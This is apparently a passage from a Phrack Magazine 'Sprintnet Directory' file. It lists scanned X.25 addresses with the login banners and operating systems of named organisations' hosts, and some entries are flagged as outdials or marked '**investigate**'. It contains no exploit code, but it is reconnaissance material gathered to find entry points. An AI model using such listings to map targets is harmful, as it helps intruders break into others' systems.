ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

414 20 $ outdial (414)

414 21 $ outdial (414)

414 36 *

414 46 $ Prime PRIMENET 22.1.4‑SC1 SYSU

414 49 CONNECTED TO MMISC

414 60 User Name? (MGIC)

414 120 $ outdial (414)

414 165 USER ID

414 170 *

414 241 *

414 242 *

415 ‑ California Scanned: [0 ‑ 1500]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

415 5 $ outdial (415)

415 7 HP‑3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. 415 11 $ outdial (415)

415 20 Dialog Information Services

415 23 $ outdial (415)

415 27 Stanford Data Center (SYSA), Forsythe Hall. 415 29A Stanford University Hospital System (SUH/SYSC). 415 31 You are not authorized to connect to this system 415 35 (echo)

415 38 DTC04.LSI.NET

415 48 Dialog Information Services

415 49 Dialog Information Services

415 53B VAX/VMS Username:

415 54 USER ID

415 56 CONNECTED TO PACKET/74

415 68A VAX/VMS Username:

415 74 *

415 108 $ outdial (415)

415 109 $ outdial (415)

415 131 $ HP‑3000

415 153 CONNECTED TO PACKET/94

415 165 *

415 167 Prime PRIMENET 22.1.3 VESTEK

415 168 Unix Vestek

415 174 *

415 175 Dialog Information Services

415 215 $ outdial (415)

415 216 $ outdial (415)

415 217 $ outdial (415)

415 224 $ outdial (414)

415 232 Unix pandora

415 234 $ Unix UNIX System V Release 1.0‑92b011 AT&T MIServer‑S 415 475 Prime PRIMENET 22.1.3.R21 CORP.1

415 476 *

415 569 DACS

415 1030 Prime

415 1052 *

415 1053 HP‑3000

415 1057 $ VAX/VMS

415 1069 *

415 1252 *

415 1255 $ DTC ERROR: User not authorized

415 1262 $ ??? ???

415 1268 TACL 1>

415 1269 TACL 1>

415 1356 *

415 1357 *

415 1600 USER ID

422 ‑ Westinghouse Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

422 101.1 ENTER PASSWORD

422 104 DTC Type 'H' or '?' for HELP

422 105 CONNECTED TO PACKET/74

422 106 GS/1 FASD >

422 115 Westinghouse X.25 Network WCIS Gandalf pad 422115 422 122

422 123 VM/XA Westinghouse Corporate Computer Services 422 129 COMMTEX Cx‑80 DATA EXCHANGE

422 131.1 annex tcc_inn>

422 131.2 >

422 131.3

422 131.4 Network Access DSU/CSU (menu driven need vt100) 422 131.5 uGn

422 131.6

422 131.7 MJgsonnesvev>3=9>722>?=3=>7/3=9>7?=????7 422 135.5

422 135.6 annex tcc_hub>

422 135.7 ** USER NOT LOGGED ON

422 135.10 ** USER NOT LOGGED ON

422 135.20 annex tcc_hub>

422 135.30

422 137.1 annex credit>

422 137.4

422 137.5 ??? < (try '?')

422 137.9 annex credit1>

422 138 Select Destination:

422 139 VM/XA Westinghouse Corporate Computer Services 422 150

422 154

422 165

422 166

422 167

422 168

422 169

422 180 WESTINGHOUSE SNA NETWORK ‑ ENTER: L APPLNAME 422 181 WESTINGHOUSE SNA NETWORK ‑ ENTER: L APPLNAME 422 183 MHP1201I TERMINAL CONNECTED TO PACKET/74 422 184 MHP1201I TERMINAL CONNECTED TO PACKET/74 422 185 MHP1201I TERMINAL CONNECTED TO PACKET/74 422 187 MHP1201I TERMINAL CONNECTED TO PACKET/74 422 237

422 240

422 244 WESPAC/ENTER PASSWORD

422 252

422 254.6 Westinghouse X.25 Network / Tech Control 422254 422 254.8 (drops to dos?)

422 255 VM/??? WESCO INFORMATION SYSTEMS

422 310 VAX/VMS

422 311

422 340

422 346

422 365

422 375

422 376 AOS Westinghouse Corporate Information Services 422 381 TACL 1>

422 390

422 401 AOS

422 405 AOS

422 409 AOS

422 410 AOS

422 412 AOS

422 413 AOS

422 416 AOS

422 424 AOS

422 431 AOS

422 440 AOS

422 443 AOS

422 450.2 RM >

422 450.3 CDS >

422 450.4 CDS >

422 450.5 (beep!)

422 450.6 CDS >

422 450.7 CDS >

422 450.8 RM >

422 450.9 CDS >

422 450.10 CDS >

422 450.11 CDS >

422 454

422 493 AOS

422 494 Westinghouse ESCC IBM C‑80 System B Access 422 495 Westinghouse ESCC IBM C‑80 System B Access 422 496 Westinghouse ESCC IBM C‑80 System B Access 422 497 Westinghouse ESCC IBM C‑80 System A Access 422 501 AOS

422 502 TSO pci protocol converter please logon pad 502 422 504.9 ESCC CCU PAD 504 ‑ PLEASE ENTER PASSWORD 422 508 Westinghouse Power Generation World Headquarters 422 511 AOS

422 514 AOS

422 517 AOS

422 519 Westinghouse X.25 Network Lima, OH pad 422519 422 522 AOS

422 525 AOS

422 527 AOS Nuclear Saftey

422 535 AOS

422 539 AOS

422 541 AOS

422 544.2 RM >

422 545 AOS

422 547 VAX/VMS

422 555 AOS

422 558 Westinghouse X.25 Network Orrville, OH pad p558 422 559 AOS

422 571 AOS

422 577 AOS

422 609 AOS

422 601 Unix/SunOS

422 602 AOS

422 606 Carpenter Technology's Network

422 608 AOS

422 609 AOS

422 613 AOS

422 614

422 616 AOS

422 623 AOS

422 631 AOS

422 636 Wesmark System

422 637 AOS

422 645 AOS

422 649 AOS

422 651 AOS

422 656 Wesmark System

422 657 AOS

422 659 AOS

422 660 AOS

422 669 AOS

422 674 AOS

422 694 IBM 7171 Access please hit the ENTER key 422 695 Westinghouse ESCC IBM C‑80 System G Access 422 696 Westinghouse ESCC IBM C‑80 System F Access 422 697 Westinghouse ESCC IBM C‑80 System E Access 422 698 Westinghouse ESCC IBM C‑80 System D Access 422 702 (garbage)

422 999 WCCS Figures Service

422 1200.99 Username:

422 1205 ****POSSIBLE DATA LOSS 00 00****

422 1207 password:

422 1208.1 Westinghouse X.25 Network BALTIMORE, MD. 422 1215

422 1305 AOS

422 1304.1 Westinghouse X.25 Network Ft. Payne, AL pad 1304a 422 1305 AOS

422 1312.1 Westinghouse X.25 Network Winston‑Salem, NC pad 1312‑1 422 1317 AOS

422 1319

422 1320 AOS

422 1322 AOS

422 1396 VAX/VMS

422 1398 VAX/VMS

422 1405

422 1420 VAX/VMS COFVIL ‑ APTUS Coffeyville system

422 1512 Please enter service name > (use 'wespac') 422 1720

422 1719

422 1720

422 1722 (menu driven...)

422 1724

422 1759 (menu driven...)

422 1760

422 1791

422 1792

422 1793

422 1794

422 1840.2 Prime Primecom Network 19.4Q.111 System 47

422 1852 Knutsford PAD 1

422 1855 Stansted Delta PAD Operator:

422 1860.1

422 1862

422 1884.1 >

422 1890.1 London, UK PAD 4221890

422 1901.2 $ Westinghouse EURO.SWITCH.NETWORK ‑ WNI ‑BRUSSEL 422 1907 $ WESPAC PAD 4

422 1917 $ WESPAC PAD 3

422 3101.1 Class of Service:

422 3201 AOS

422 3202 AOS

422 3203 AOS

422 3204 AOS

422 3208

422 3209

422 3210

422 3211

422 3212

422 3213 AOS

422 3214 SmartView NetWork Management System

422 3219 AOS

422 3221 AOS

422 3222

422 3223

422 3228 AOS

422 3230

422 3231

422 3233.1

422 3234

422 3235 AOS

422 3236 VISTA BATCH User ID?

422 3252 AOS

422 3253 AOS

422 3254 AOS

422 3255 AOS

422 3258

422 3259

422 3260

422 3261

422 3361

422 3362

422 3363

422 3401 TSO MIS Computer Centre

422 3403 Port Select MIS Computer Center

422 3503 VAX/VMS

422 3601 Westinghouse X.25 Network O' Hara Site pad 4223601 422 3602 VAX/VMS

422 3701 VAX/VMS

422 3703 CDCNET 2 systems: SN211=CRAY, NOSF=Cyber

422 3704 CDCNET

422 3705 CDCNET

422 3753

422 3804

422 3805

422 3806

422 3807

422 3842.1 Jones Day Washington Office

422 3860.2 Jones Day Pittsburgh Office

422 3902 enter class

422 3904 VAX/VMS

422 5021

422 5039

422 5037 connected 31104220503700/

422 5043

422 5044

422 5052 VAX/VMS

422 5053 VAX/VMS

422 5060

422 5082

422 6002

422 6011

501 ‑ Arkansas Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

501 130 *

501 131 *

501 133

502 ‑ Kentucky Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

502 74 VAX/VMS Username:

502 75 VAX/VMS Username:

502 130 ??? B&W Corporate Computer System

502 136 CONNECTED TO PACKET/94

502 138 *

503 ‑ Oregon Scanned: [0 ‑ 500]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

503 20 $ outdial (503)

503 21 $ outdial (503)

503 33 Major BBS Public Data Network User‑ID? new

503 120 $ outdial (503)

503 378 *

503 379 *

503 476 $ access barred

503 477 *

503 530 *

503 531 *

505 ‑ New Mexico Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

505 30

505 153 *

505 157 *

505 159 *

505 233 $ REQUESTED APPLICATION NOT DEFINED

509 ‑ Washington Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

509 232 $

512 ‑ Texas Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

512 8 $ outdial (512)

512 55 *

512 63 *

512 65 *

512 136 AL /,/‑ (locks up)

512 138 *

512 140 AL /,/‑ (locks up)

512 151 *

512 152 *

512 153 *

512 253 *

512 257 Unix HP‑UX ioi877

512 260 *

512 330

512 331

513 ‑ Ohio Scanned: [0 ‑ 300+]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

513 30 Lexis and Nexis

513 31 Port Selec MEADNET (hosts:lexis,tymnet,telenet,dialcom...) 513 32 $ $$ 5800 LOGIN SUCCESSFUL

513 37 $ Prime PRIMENET 23.3.0.r29 E03

513 55 $ Prime PRIMENET 22.1.4.R30 I01

513 57 $ Prime PRIMENET 23.3.0.r29 E04

513 58 $ VAX/VMS AEE040 is a MicroVAX 3900

513 66 *

513 67 $ Prime PRIMENET 23.3.0.r29 E01

513 68 *

513 69 *

513 72 $ Prime PRIMENET 22.1.4.R30 O1

513 73 $ Prime PRIMENET 22.1.4.R30 S2

513 75 $ Prime PRIMENET 22.1.4.R30 T01

513 77 $ Prime PRIMENET 23.3.0.r29 M01

513 78 $ Prime PRIMENET 22.1.4.R7 A02

513 79 $ Prime PRIMENET 22.1.4.R30 C2

513 80 Welcome To Develnet ‑‑CL2‑‑ Request:

513 131 Lexis and Nexis

513 132 Lexis and Nexis

513 133 Lexis and Nexis

513 134 Lexis and Nexis

513 139 Lexis and Nexis (passthru 202365)

513 161 VAX/VMS AEE101

513 165 VAX/VMS AEE010

513 174 *

513 176 *

513 230 VAX/VMS Unison/Applied Software Designs, Inc.

513 234 $ VAX/VMS Continental PET Technologies, FLORENCE

513 236 *

513 240 *

515 ‑ Iowa Scanned: [0 ‑ 200]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

515 30 Lexis and Nexis

515 31 Lexis and Nexis

515 47 *

516 ‑ New York Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

516 14 $ outdial (516)

516 15 $ outdial (516)

516 35 CCI Multilink Services, (mail)

516 38 *

516 45 Hello

516 48.1 CUSTOMER ID:

516 49.1 CUSTOMER ID:

516 140 *

516 234 *

518 ‑ New York Scanned:[0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

518 30 MHP201A UPK12X01 APPLICATION:

518 36 MHP201A UPK12X01 APPLICATION:

518 230 MHP201A UPK12X01 APPLICATION:

518 231 MHP201A UPK12X01 APPLICATION:

Sprintnet Directory Part III

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 10 of 14

<Sprintnet Directory Part 3>

602 ‑ Arizona Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

602 22 $ outdial?

602 23 $ outdial?

602 26 $ outdial (602)

602 35 $ MSG 1: COMMAND INVALID FROM PHTIB010 602 145 $ PSI Please enter our X.29 Password: 602 148 *

602 155.2 VAX/VMS This is DTAC02 ‑ VAX/VMS V5.5

602 165 *

602 166

602 167 *

603 ‑ New Hampshire Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

603 20 $ Dartmouth College Time Sharing, D1 603 31 $ outdial

603 40 $ DTC01, IP 130.010.200.023

603 46 USER NUMBER‑‑

603 47 *

603 60 VAX/VMS

603 61 **** Invalid sign‑on, please try again **** 603 62 **** Invalid sign‑on, please try again **** 603 63 **** Invalid sign‑on, please try again **** 603 68

603 135 VM/CMS ENTERPRISE SYSTEMS ARCHITECTURE‑‑ESA370 603 136 VM/CMS ENTERPRISE SYSTEMS ARCHITECTURE‑‑ESA370 603 142 *

609 ‑ New Jersey Scanned: [0 ‑ 500]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

609 41 WHAT SERVICE PLEASE????

609 42 WHAT SERVICE PLEASE????

609 46 WHAT SERVICE PLEASE????

609 73 $ DTC DTC01.DOMAIN.ORGANIZATION

609 100 Prime

609 120 Prime

609 135 *

609 138 Prime PRIMENET 23.0.0 HCIONE

609 170 Prime

609 232 *

609 235 VAX/VMS TMA Information Services

609 238 *

609 239 *

609 242 WHAT SERVICE PLEASE????

609 243 WHAT SERVICE PLEASE????

609 244 WHAT SERVICE PLEASE????

609 245 *

609 246 *

609 247 *

609 259

611 ‑ unknown Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

611 20

611 21

611 25 ? (Transend?)

611 26 ?

611 27 ?

611 28 ?

611 50 SYSTEM AVAILABLE FOR YOUR USE

611 55 SYSTEM AVAILABLE FOR YOUR USE

611 90 VAX/VMS Username:

611 120 VAX/VMS Username:

611 192 Prime

611 193 Prime

611 194 Prime

611 195 Prime

611 230 VAX/VMS

611 231 VAX/VMS

611 232 VAX/VMS

611 233 VAX/VMS

611 234 AOS MHCOMET System A

611 235 AOS MHCOMET System B

611 236 AOS MHCOMET System C

611 238 AOS MHCOMET System D

612 ‑ Minnesota Scanned: [0 ‑ 1000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

612 22 $

612 23 Westlaw

612 37 Westlaw

612 52 $ Prime C>

612 56 Westlaw

612 57 Westlaw

612 58 Westlaw

612 78 *

612 79 *

612 120 *

612 121 *

612 134 *

612 135 *

612 138 *

612 158 Westlaw

612 171 *

612 236

612 240 GS/1 MSC X.25 Gateway

612 241 *

612 259 VAX/VMS System LPCOMB ‑ VAX/VMS V5.5‑1

612 260 $ CDCNET Control Data Arden Hills CDCNET Network **investigate** 612 270 Westlaw

612 271 Westlaw

612 272 Westlaw

612 273 Westlaw

612 277 Password >

612 279 Westlaw

612 353 ENTER ID (Westlaw)

612 362 Westlaw

612 363 Westlaw

612 364 Westlaw

612 365 Westlaw

612 366 Westlaw

612 367 Westlaw

612 368 Westlaw

612 369 Westlaw

612 385 Westlaw

612 391 Westlaw

612 393 Westlaw

612 395 Westlaw

612 395 Westlaw

612 455 *

612 456

612 457 *

612 458 *

612 460 *

612 461 *

612 462 *

612 1030 *

614 ‑ Ohio Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

614 21 STN International! Enter x:

614 22 $ outdial (614)

614 23 $ outdial (614)

614 31 STN International! Enter x:

614 32 STN International! Enter x:

614 34 STN International! Enter x:

614 36 *

614 65 Unix all attempts monitored and reported

614 140 STN International! Enter x:

614 145

614 148A

614 150A MHP201A LPKMN001 APPLICATION:

614 154A

614 155 User name?

614 156 CONNECTED TO PACKET/94

614 157 *

614 230 Port Selec? **investigate**

617 ‑ Massachusetts Scanned: 0 ‑ 1500

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

617 20 Prime PRIMENET 23.3.0.R20 PBN27

617 22 Prime PRIMENET 22.0.0vA BDSD

617 26 $ outdial (617)

617 37 Prime PRIMENET 23.3.0.R20 BDSH

617 47 $ ENTER ACCESS PASSWORD:

617 48 VAX/VMS Username:

617 52 VAX/VMS Username:

617 56 $ BEDPS:SCCHRV

617 63 VM/CMS IRI

617 66 Prime PRIMENET 23.3.0.R20 BDSK

617 72 Prime IRI System 2

617 74 Prime PRIMENET 23.3.0 ENB

617 78 *

617 114 $ Prime PRIMENET 23.2.0.R48 MD.B

617 115 *

617 136 $ DTC DTCX25.BOS.WMC

617 147 *

617 149 VAX/VMS Newton Headend Node MicroVAX (NWTNH2)

617 158 Prime PRIMENET 23.2.0 BDSW

617 169 Prime PRIMENET 22.0.0vA PBN36

617 178 Enter Application Request

617 226 VM/CMS

617 230 *

617 234 Unix? b1cs3!Username:

617 235 VAX/VMS Username:

617 236 VAX/VMS Username:

617 237 Unix? b1cs3!Username:

617 250 ND X.29 Server ‑ Press 'ESCAPE' to log in 617 255 Prime PRIMENET 22.0.3vA PBN43

617 257 $ HP‑3000

617 270 $ VAX/VMS COSMOS (CO6408)

617 274 *

617 279 Unix SysV oa1cs1!x25 name:

617 304 Prime PRIMENET 23.3.0.R20 PBN67

617 306 Prime PRIMENET 23.2.0 PBN53

617 308 Prime PRIMENET 23.3.0.R20 PBN71

617 311 $ outdial (617)

617 313 $ outdial (617)

617 339 *

617 340 VAX/VMS FAXON

617 341 Password:

617 346 VOS STRATUS CUSTOMER ASSISTANCE CENTER

617 348 *

617 350 Prime PRIMENET 23.2.0 PBN39

617 351 Prime PRIMENET 22.0.0vA BDSU

617 373 VAX/VMS FAXON

617 379 ??? $$ 4200 MODEL:

617 380 Prime PRIMENET 22.1.4.R7 L01

617 381 Prime PRIMENET 22.1.4.R7 P01

617 382 Prime PRIMENET 22.1.4.R7 Y01

617 383 Prime PRIMENET 22.1.4.R30 H02

617 384 Prime PRIMENET 22.1.4.R7 V01

617 385 Prime PRIMENET 22.1.4.R30 R01

617 387 Prime PRIMENET 22.1.2.R22 B01

617 388 ??? $$ 4200 MODEL:

617 392 Prime PRIMENET 22.1.4.R30 R04

617 393 Prime PRIMENET 22.1.4.R7 Y04

617 397 U#=

617 453 Prime PRIMENET 22.0.3vA PBN35

617 454 Prime PRIMENET 23.2.0 NORTON

617 455 Prime PRIMENET 23.3.r29.wg NER

617 457 Prime PRIMENET 23.3.0 NNEB

617 458 Prime PRIMENET 23.2.0.R32 CENTNE

617 460 *

617 474 Prime PRIMENET 22.1.4 MD.FL1

617 490 Prime PRIMENET 23.3.0 ALBANY

617 491 Prime PRIMENET 23.2.0 CS

617 492 Prime PRIMENET 23.0.0 FRMDLE

617 493 Prime PRIMENET 23.0.0 STMFRD

617 498 Prime PRIMENET 23.2.0 CS2NYC

617 499 Prime PRIMENET 23.2.0.R32 SYRA

617 502 Prime PRIMENET 23.2.0 APPLE

617 516 Prime PRIMENET 23.2.0.R39 PBN38

617 518 Prime PRIMENET 23.2.0 PBN41

617 519 Prime PRIMENET 23.2.0.R39 PBN54

617 521 Prime PRIMENET 22.0.3vA BDSG

617 530 ??? Maxlink International

617 534 dynapac: multi‑pad.25

617 541 Prime PRIMENET 22.0.3vA BDSS

617 543 Prime PRIMENET 22.0.3vA PBN33

617 551 Prime PRIMENET 22.0.4.R7 CSP‑A

617 553 Prime PRIMENET 22.0.3vA BDSQ

617 555 Prime PRIMENET 23.2.0 PBN72

617 558 Prime PRIMENET 23.2.0.CSBETA2 CSSS.A

617 560 Prime PRIMENET 23.3.0.R20 BDSN

617 562 Prime PRIMENET 22.1.4 BDSZ

617 563 Prime LOGIN PLEASE (1)

617 564 Prime PRIMENET 22.0.3 MD.NE

617 575 Prime PRIMENET 22.1.2 MF.NP1

617 576 Prime PRIMENET 22.0.1 B09

617 577 Prime PRIMENET 22.1.1.R11 B30

617 578 Prime PRIMENET 23.2.0.R3 SDSYSA

617 583 Prime PRIMENET 22.0.2 MD.HFD

617 585 Prime PRIMENET 23.2.0.R32 EDWIN

617 586 Prime PRIMENET 23.2.0 BOSMET

617 588 *

617 589 *

617 590 *

617 593 Prime PRIMENET 23.3.Beta2 BDSO

617 597 Prime PRIMENET 22.0.3vA BDSB

617 641 AOS Timeplace Inc.

617 649 PaperChase

617 654 Prime IRI System 9

617 710 Prime PRIMENET 23.2.0 MD.ATL

617 712 Prime PRIMENET 23.3.0 PEANUT

617 713 Prime PRIMENET 23.3.0 PEACH

617 714 Prime PRIMENET 23.3.0 NASH

617 715 Peime PRIMENET 23.2.0 MD‑BHM

617 717 Prime PRIMENET 23.1.0 ETHEL

617 719 Prime PRIMENET 22.1.1.R11 PHILLY

617 720 Prime PRIMENET 22.1.2 CAMPHI

617 723 Prime PRIMENET 23.3.0 MD.NJ

617 724 Prime PRIMENET 23.3.0 NYMCS

617 726 Prime PRIMENET 23.3.0 NJCENT

617 727 Prime PRIMENET 22.0.1v NJPCS

617 750 Prime PRIMENET 23.2.0 PBN75

617 752 Prime PRIMENET 23.2.0 PBN68

617 850 Prime PRIMENET 22.1.4 MD‑CHI

617 852 Prime PRIMENET 23.3.0 CS‑LP1

617 853 Prime PRIMENET 23.2.0 MD.SL1

617 854 Prime PRIMENET 23.2.0 MD.MKW

617 855 Prime PRIMENET 23.0.0 TRNGC

617 856 Prime PRIMENET 23.2.0 CS‑CHI

617 857 Prime PRIMENET 22.1.0 CS‑OAK

617 861 Prime PRIMENET 22.1.3 PTCDET

617 862 Prime PRIMENET 23.3.0 DRBN1

617 863 Prime PRIMENET 23.1.0 CSTROY

617 864 Prime PRIMENET 23.3.0 CS.DET

617 865 Prime PRIMENET 23.1.0 MD.DET

617 868 Prime PRIMENET 23.2.0 MD.GR

617 869 Prime PRIMENET 22.1.1.R11 MD.CIN

617 870 Prime PRIMENET 23.2.0 CS.IND

617 871 Prime PRIMENET 22.1.3 MD.IND

617 872 Prime PRIMENET 23.2.0 MD‑PIT

617 874 Prime PRIMENET 22.1.0 PITTCS

617 875 Prime PRIMENET 22.1.1.r35 MD‑CLE

617 902 Prime PRIMENET 22.1.1.R11 MD.HOU

617 908 Prime PRIMENET 23.2.0 WMCS

617 910 Prime PRIMENET 23.2.0 CSWDC

617 911 Prime PRIMENET 23.2.0 VIENNA

617 912 Prime PRIMENET 23.2.0 BALT

617 915 Prime PRIMENET 23.0.0 WDCRTS

617 916 Prime PRIMENET 23.0.0 CAP1

617 928 Prime PRIMENET 23.3.0 CS.HOU

617 930 Prime PRIMENET 23.3.0 MD.AUS

617 931 Prime PRIMENET 23.3.0 CS‑SCR

617 932 Prime PRIMENET 23.2.0.SCH CS.CS

617 936 Prime PRIMENET 23.2.0 MD.DAL

617 956 Prime PRIMENET 22.1.0 RELAY

617 957 Prime PRIMENET 22.1.3 ZULE

617 958 Prime PRIMENET 23.1.0 EDOC1

617 962 Prime PRIMENET 23.3.0.R20 PBN49

617 965 Prime PRIMENET 22.0.3vA BDSE

617 966 Prime PRIMENET 22.0.3vA BDST

617 978 Unix

617 980 Prime PRIMENET 22.1.1.R28 WUFPAK

617 986

617 991 Prime PRIMENET 23.2.0 PBN64

617 995 Prime PRIMENET 23.2.0.R3 ATC54

617 998 Prime PRIMENET 23.0.0 TRNGB

617 1030 *

617 1031 *

617 1033 $ CONNECTED TO PACKET/94

617 1035 $ T.S.S.G

617 1054 $ Boston Safe Deposit and Trust Company

617 1055 HP‑3000

617 1075

617 1099 Unix SysV X.29 Terminal Service

617 1202 Prime PRIMENET 22.0.2 CSPLAN

617 1204 Prime PRIMENET 23.2.0 PBN70

617 1206 Prime PRIMENET 23.2.0 PBN69

617 1207 Prime PRIMENET 23.2.0 PBN73

617 1210 Prime PRIMENET 23.2.0 PBN74

617 1211 Unix SysV

617 1231 Primetec Leasing

617 1235 Prime PRIMENET 23.2.0 PBN45

617 1260 dynapac: multi‑pad.25

617 1261 dynapac: multi‑pad.25

617 1262 dynapac: multi‑pad.25

617 1263 dynapac: multi‑pad.25

617 1264 dynapac: multi‑pad.25

617 1266 dynapac: multi‑pad.25

617 1267 dynapac: multi‑pad.25

617 1300 VAX/VMS Username:

617 1301 VAX/VMS Username:

617 1302 **** Invalid sign‑on, please try again **** 617 1303 VAX/VMS Username:

617 1304 **** Invalid sign‑on, please try again **** 617 1305 **** Invalid sign‑on, please try again **** 617 1306 **** Invalid sign‑on, please try again **** 617 1307 **** Invalid sign‑on, please try again **** 617 1320 VAX/VMS Username:

617 1321 **** Invalid sign‑on, please try again **** 617 1322 **** Invalid sign‑on, please try again **** 617 1323 **** Invalid sign‑on, please try again **** 617 1324 **** Invalid sign‑on, please try again **** 617 1331 *

617 1333 *

617 1334 *

617 1335 *

617 1336 *

617 1337 *

617 1338 *

617 1339 *

617 1340 *

617 1341 *

617 1350 *

617 1351 *

617 1355 *

617 1356 *

617 1365 VAX/VMS Username:

617 1368 ??? Username(First Name):

617 1371 VAX/VMS Username:

617 1379 *

617 1441 *

617 1442 *

617 1455 *

617 1456 *

619 ‑ California Scanned: 0 ‑ 300

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

619 38

619 41 VM/CMS

619 51 *

619 234 $ VAX/VMS Hightower MicroVAX II (HIGHH1)

619 258 *

619 270 $ VAX/VMS Daniels Headend Node MicroVAX 3100‑80 (DANLH1)

626 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

626 1000 $ Prime

626 1101 $ VAX/VMS DEV2

626 1110 $ VAX/VMS ANT1

626 1111 $ VAX/VMS ANT2

626 1120 $ VAX/VMS OAK1

626 1130 $ VAX/VMS SRA1

626 1131 $ VAX/VMS SRA2

626 1160 $ VAX/VMS SFD1

626 2000 $ Prime

669 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

669 25 $ USER ID

669 50 $ USER ID

669 75 $ USER ID

